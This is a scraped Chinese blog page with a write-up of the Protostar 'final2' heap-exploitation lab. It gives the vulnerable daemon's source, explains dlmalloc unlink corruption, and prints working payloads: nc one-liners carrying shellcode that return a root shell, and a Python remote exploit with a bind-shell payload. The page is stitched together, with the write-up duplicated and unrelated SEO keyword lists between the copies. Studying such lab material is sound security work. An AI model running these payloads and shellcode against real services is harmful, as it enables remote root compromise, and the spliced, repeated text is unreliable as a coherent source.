Protostar final2
发表于:2025-12-02 作者:千家信息网编辑
千家信息网最后更新 2025年12月02日,Core files will be in /tmp.This level is at /opt/protostar/bin/final2Source code#include "../common/
千家信息网最后更新 2025年12月02日Protostar final2Core files will be in /tmp.
Core files will be in /tmp.This level is at /opt/protostar/bin/final2Source code
#include "../common/common.c"
#include "../common/malloc.c"
#define NAME "final2"
#define UID 0
#define GID 0
#define PORT 2993
#define REQSZ 128
void check_path(char *buf)
{
char *start;
char *p;
int l;
/*
* Work out old software bug
*/
p = rindex(buf, '/');
l = strlen(p);
if(p) {
start = strstr(buf, "ROOT");
if(start) {
while(*start != '/') start--;
memmove(start, p, l);
printf("moving from %p to %p (exploit: %s / %d)\n", p, start, start < buf ?
"yes" : "no", start - buf);
}
}
}
int get_requests(int fd)
{
char *buf;
char *destroylist[256];
int dll;
int i;
dll = 0;
while(1) {
if(dll >= 255) break;
buf = calloc(REQSZ, 1);
if(read(fd, buf, REQSZ) != REQSZ) break;
if(strncmp(buf, "FSRD", 4) != 0) break;
check_path(buf + 4);
dll++;
}
for(i = 0; i < dll; i++) {
write(fd, "Process OK\n", strlen("Process OK\n"));
free(destroylist[i]);
}
}
int main(int argc, char **argv, char **envp)
{
int fd;
char *username;
/* Run the process as a daemon */
background_process(NAME, UID, GID);
/* Wait for socket activity and return */
fd = serve_forever(PORT);
/* Set the client socket to STDIN, STDOUT, and STDERR */
set_io(fd);
get_requests(fd);
}
Final2花了我不少时间,因为之前没有接触过"堆腐烂"这么高深的技术,最后找了本《缓冲区溢出***--检测、剖析与预防》补习才勉强知道dlmalloc是个什么货色。现简单讲下基本的东东:在内存中堆的位置如下图:堆内存可通过malloc()类函数分配,由free()类函数释放,程序的堆内存是由堆管理器分配的。由malloc()分配的内存块是有边界标识(Boundary tag)的。这些位置包含的信息是内存中这个块之前和之后放被放置的两个数据块的大小当使用free()释放数据块时会调用unlink()宏:实际上执行的操作就是:*(P->fd+12)=P->bk;*(P->bk+8)=P->fd数据块后部指针中的地址可以被写到前部指针加12所指向的位置。如果***者可以覆盖这两个指针并调用unlink()的话,那么就能用任何东西覆盖内存的任何位置!!!
啰嗦了一大堆现开始进入正题。通过分析题目可得在查找"/"时没有进行边界检查,而且从p开始的空余部分被复制到新的位置,另外程序规定处理每个字符串长度是128字节。我们需要利用这些来伪造出一个数据块user@protostar:/opt/protostar/bin$ python -c "print 'FSRD'+'A'*123+'/' + 'FSRD'+'ROOT'+ 'A'*103 + '/' + '\xf8\xff\xff\xff'+'\xfc\xff\xff\xff'+'B'*4+'C'*4" | nc 127.0.0.1 2993通过查看调试文件可以得到:(gdb) i r edx
edx 0x43434343 1128481603
(gdb) i r eax
eax 0x42424242 1111638594有点像heap3是不?再看看"A"的位置在哪里:(gdb) x/50x 0x0804e090
0x804e090: 0x0804d410 0x0804e098 0x41414141 0x41414141
0x804e0a0: 0x0804d410 0x41414141 0x41414141 0x41414141
0x804e0b0: 0x41414141 0x41414141 0x41414141 0x41414141
0x804e0c0: 0x41414141 0x41414141 0x41414141 0x41414141
0x804e0d0: 0x41414141 0x41414141 0x41414141 0x41414141
0x804e0e0: 0x41414141 0x41414141 0x41414141 0x41414141
0x804e0f0: 0x41414141 0x41414141 0x41414141 0x2f414141
这里我们选择覆盖write()的地址,write()的地址是:user@protostar:/opt/protostar/bin$ objdump -R ./final2 | grep write
0804d41c R_386_JUMP_SLOT write
0804d468 R_386_JUMP_SLOT fwrite
现需要将A的内容变成shellcode,将A的地址覆盖到write()的位置上去,然后就能够执行shellcode了。因此生成的payload应该是这样的[FSRD+'A'*123+/]+[FSRD+ROOT+NOP+shellcode+'\x10\xd4\x04\x08' + '\x98\xe0\x04\x08']如下:user@protostar:/opt/protostar/bin$ python -c "print 'FSRD'+'A'*123+'/' + 'FSRD'+'ROOT'+ '\x90'*44 + '\x31\xc0\x50\x68\x6e\x2f\x6e\x63\x68\x2f\x2f\x62\x69\x89\xe3\x50\x68\x36\x36\x36\x36\x68\x2d\x6c\x74\x70\x89\xe2\x50\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x66\x68\x2d\x65\x89\xe1\x50\x51\x52\x53\x89\xe6\xb0\x0b\x89\xf1\x31\xd2\xcd\x80' + '/' + '\xf8\xff\xff\xff'+'\xfc\xff\xff\xff' + '\x10\xd4\x04\x08'+'\x98\xe0\x04\x08'" | nc 127.0.0.1 2993
Process OK远程连接测试:D:\>nc 192.168.0.71 6666
id
uid=0(root) gid=0(root) groups=0(root)
whoami
root
exitOK!同样,写一份远程EXP,Python脚本如下:#!/usr/bin/env python
from socket import *
from struct import *
from optparse import OptionParser
def exploit(host, port):
# linux/x86/shell_bind_tcp - 78 bytes
# http://www.metasploit.com
# VERBOSE=false, LPORT=4444, RHOST=, PrependSetresuid=false,
# PrependSetreuid=false, PrependSetuid=false,
# PrependChrootBreak=false, AppendExit=false,
# InitialAutoRunScript=, AutoRunScript=
shellcode = "\x31\xdb\xf7\xe3\x53\x43\x53\x6a\x02\x89\xe1\xb0\x66\xcd\x80" \
"\x5b\x5e\x52\x68\xff\x02\x11\x5c\x6a\x10\x51\x50\x89\xe1\x6a" \
"\x66\x58\xcd\x80\x89\x41\x04\xb3\x04\xb0\x66\xcd\x80\x43\xb0" \
"\x66\xcd\x80\x93\x59\x6a\x3f\x58\xcd\x80\x49\x79\xf8\x68\x2f" \
"\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\xb0" \
"\x0b\xcd\x80"
# Open the connection
s = socket(AF_INET, SOCK_STREAM)
s.connect((host, port))
req_size = 128
HDR = 'FSRD'
NOP = '\x90'
free_payload = '/' + '\xf8\xff\xff\xff' + '\xfc\xff\xff\xff'
free_payload += '\x10\xd4\x04\x08' + '\x98\xe0\x04\x08'
first_req = HDR + 'A'* (req_size - len(HDR) - 1) + '/'
second_req = HDR + 'ROOT'
second_req += NOP * (req_size - len(HDR) - 4 - len(shellcode) - len(free_payload))
second_req += shellcode
second_req += free_payload
s.send(first_req+second_req)
s.close
print("[*] Exploit successfull! Now launch: nc " + str(host) + " 4444")
if __name__ == "__main__":
parser = OptionParser("usage: %prog [options]")
parser.add_option("-H", "--host", dest="hostname", default="127.0.0.1", type="string", help="Target to exploit")
parser.add_option("-p", "--port", dest="portnum", default=2993, type="int", help="Target port")
(options, args) = parser.parse_args()
exploit(options.hostname, options.portnum)
位置
内存
地址
数据
指针
分配
两个
函数
程序
边界
东西
信息
内容
后部
大堆
大小
字符
字符串
字节
实际
数据库的安全要保护哪些东西
数据库安全各自的含义是什么
生产安全数据库录入
数据库的安全性及管理
数据库安全策略包含哪些
海淀数据库安全审计系统
建立农村房屋安全信息数据库
易用的数据库客户端支持安全管理
连接数据库失败ssl安全错误
数据库的锁怎样保障安全
网络安全工作任务包括
网络安全管理书课后题
ETC的软件开发商
小红书软件开发商
云服务器bbc
网络安全等保工具箱采购
jsp 页面操作数据库
电脑日期与服务器日期怎么设置
网络安全专职管理员职责
在数据库中储存了什么
类似excel服务器
奉贤区一站式数据库报价行情
狂野飙车9ns与服务器同步
科密a1数据库字典
系统软件开发招聘
为什么要构建生物分子数据库
网络安全规定内容
软件开发环境管理制度
手机怎么更换信息服务器
计算机网络技术综合题视频
罗永浩视频软件开发
汕尾市近10年网络安全事件
数据库主从延迟大概多久
网络安全的防护措施有
辽宁软件开发检测中心
计算机网络技术会秃头吗
宁夏gps时钟同步数显钟服务器
光明网 网络安全审查
要玩娱乐网络技术有限公司
红黑隔离网络安全标准
Source code
#include "../common/common.c"#include "../common/malloc.c"
#define NAME "final2"
#define UID 0
#define GID 0
#define PORT 2993
#define REQSZ 128
void check_path(char *buf)
{
char *start;
char *p;
int l;
/*
* Work out old software bug
*/
p = rindex(buf, '/');
l = strlen(p);
if(p) {
start = strstr(buf, "ROOT");
if(start) {
while(*start != '/') start--;
memmove(start, p, l);
printf("moving from %p to %p (exploit: %s / %d)\n", p, start, start < buf ?
"yes" : "no", start - buf);
}
}
}
int get_requests(int fd)
{
char *buf;
char *destroylist[256];
int dll;
int i;
dll = 0;
while(1) {
if(dll >= 255) break;
buf = calloc(REQSZ, 1);
if(read(fd, buf, REQSZ) != REQSZ) break;
if(strncmp(buf, "FSRD", 4) != 0) break;
check_path(buf + 4);
dll++;
}
for(i = 0; i < dll; i++) {
write(fd, "Process OK\n", strlen("Process OK\n"));
free(destroylist[i]);
}
}
int main(int argc, char **argv, char **envp)
{
int fd;
char *username;
/* Run the process as a daemon */
background_process(NAME, UID, GID);
/* Wait for socket activity and return */
fd = serve_forever(PORT);
/* Set the client socket to STDIN, STDOUT, and STDERR */
set_io(fd);
get_requests(fd);
}
Final2花了我不少时间,因为之前没有接触过"堆腐烂"这么高深的技术,最后找了本《缓冲区溢出***--检测、剖析与预防》补习才勉强知道dlmalloc是个什么货色。现简单讲下基本的东东:在内存中堆的位置如下图:堆内存可通过malloc()类函数分配,由free()类函数释放,程序的堆内存是由堆管理器分配的。由malloc()分配的内存块是有边界标识(Boundary tag)的。这些位置包含的信息是内存中这个块之前和之后放被放置的两个数据块的大小当使用free()释放数据块时会调用unlink()宏:实际上执行的操作就是:*(P->fd+12)=P->bk;*(P->bk+8)=P->fd数据块后部指针中的地址可以被写到前部指针加12所指向的位置。如果***者可以覆盖这两个指针并调用unlink()的话,那么就能用任何东西覆盖内存的任何位置!!!
啰嗦了一大堆现开始进入正题。通过分析题目可得在查找"/"时没有进行边界检查,而且从p开始的空余部分被复制到新的位置,另外程序规定处理每个字符串长度是128字节。我们需要利用这些来伪造出一个数据块user@protostar:/opt/protostar/bin$ python -c "print 'FSRD'+'A'*123+'/' + 'FSRD'+'ROOT'+ 'A'*103 + '/' + '\xf8\xff\xff\xff'+'\xfc\xff\xff\xff'+'B'*4+'C'*4" | nc 127.0.0.1 2993通过查看调试文件可以得到:(gdb) i r edx
edx 0x43434343 1128481603
(gdb) i r eax
eax 0x42424242 1111638594有点像heap3是不?再看看"A"的位置在哪里:(gdb) x/50x 0x0804e090
0x804e090: 0x0804d410 0x0804e098 0x41414141 0x41414141
0x804e0a0: 0x0804d410 0x41414141 0x41414141 0x41414141
0x804e0b0: 0x41414141 0x41414141 0x41414141 0x41414141
0x804e0c0: 0x41414141 0x41414141 0x41414141 0x41414141
0x804e0d0: 0x41414141 0x41414141 0x41414141 0x41414141
0x804e0e0: 0x41414141 0x41414141 0x41414141 0x41414141
0x804e0f0: 0x41414141 0x41414141 0x41414141 0x2f414141
这里我们选择覆盖write()的地址,write()的地址是:user@protostar:/opt/protostar/bin$ objdump -R ./final2 | grep write
0804d41c R_386_JUMP_SLOT write
0804d468 R_386_JUMP_SLOT fwrite
现需要将A的内容变成shellcode,将A的地址覆盖到write()的位置上去,然后就能够执行shellcode了。因此生成的payload应该是这样的[FSRD+'A'*123+/]+[FSRD+ROOT+NOP+shellcode+'\x10\xd4\x04\x08' + '\x98\xe0\x04\x08']如下:user@protostar:/opt/protostar/bin$ python -c "print 'FSRD'+'A'*123+'/' + 'FSRD'+'ROOT'+ '\x90'*44 + '\x31\xc0\x50\x68\x6e\x2f\x6e\x63\x68\x2f\x2f\x62\x69\x89\xe3\x50\x68\x36\x36\x36\x36\x68\x2d\x6c\x74\x70\x89\xe2\x50\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x66\x68\x2d\x65\x89\xe1\x50\x51\x52\x53\x89\xe6\xb0\x0b\x89\xf1\x31\xd2\xcd\x80' + '/' + '\xf8\xff\xff\xff'+'\xfc\xff\xff\xff' + '\x10\xd4\x04\x08'+'\x98\xe0\x04\x08'" | nc 127.0.0.1 2993
Process OK远程连接测试:D:\>nc 192.168.0.71 6666
id
uid=0(root) gid=0(root) groups=0(root)
whoami
root
exitOK!同样,写一份远程EXP,Python脚本如下:#!/usr/bin/env python
from socket import *
from struct import *
from optparse import OptionParser
def exploit(host, port):
# linux/x86/shell_bind_tcp - 78 bytes
# http://www.metasploit.com
# VERBOSE=false, LPORT=4444, RHOST=, PrependSetresuid=false,
# PrependSetreuid=false, PrependSetuid=false,
# PrependChrootBreak=false, AppendExit=false,
# InitialAutoRunScript=, AutoRunScript=
shellcode = "\x31\xdb\xf7\xe3\x53\x43\x53\x6a\x02\x89\xe1\xb0\x66\xcd\x80" \
"\x5b\x5e\x52\x68\xff\x02\x11\x5c\x6a\x10\x51\x50\x89\xe1\x6a" \
"\x66\x58\xcd\x80\x89\x41\x04\xb3\x04\xb0\x66\xcd\x80\x43\xb0" \
"\x66\xcd\x80\x93\x59\x6a\x3f\x58\xcd\x80\x49\x79\xf8\x68\x2f" \
"\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\xb0" \
"\x0b\xcd\x80"
# Open the connection
s = socket(AF_INET, SOCK_STREAM)
s.connect((host, port))
req_size = 128
HDR = 'FSRD'
NOP = '\x90'
free_payload = '/' + '\xf8\xff\xff\xff' + '\xfc\xff\xff\xff'
free_payload += '\x10\xd4\x04\x08' + '\x98\xe0\x04\x08'
first_req = HDR + 'A'* (req_size - len(HDR) - 1) + '/'
second_req = HDR + 'ROOT'
second_req += NOP * (req_size - len(HDR) - 4 - len(shellcode) - len(free_payload))
second_req += shellcode
second_req += free_payload
s.send(first_req+second_req)
s.close
print("[*] Exploit successfull! Now launch: nc " + str(host) + " 4444")
if __name__ == "__main__":
parser = OptionParser("usage: %prog [options]")
parser.add_option("-H", "--host", dest="hostname", default="127.0.0.1", type="string", help="Target to exploit")
parser.add_option("-p", "--port", dest="portnum", default=2993, type="int", help="Target port")
(options, args) = parser.parse_args()
exploit(options.hostname, options.portnum)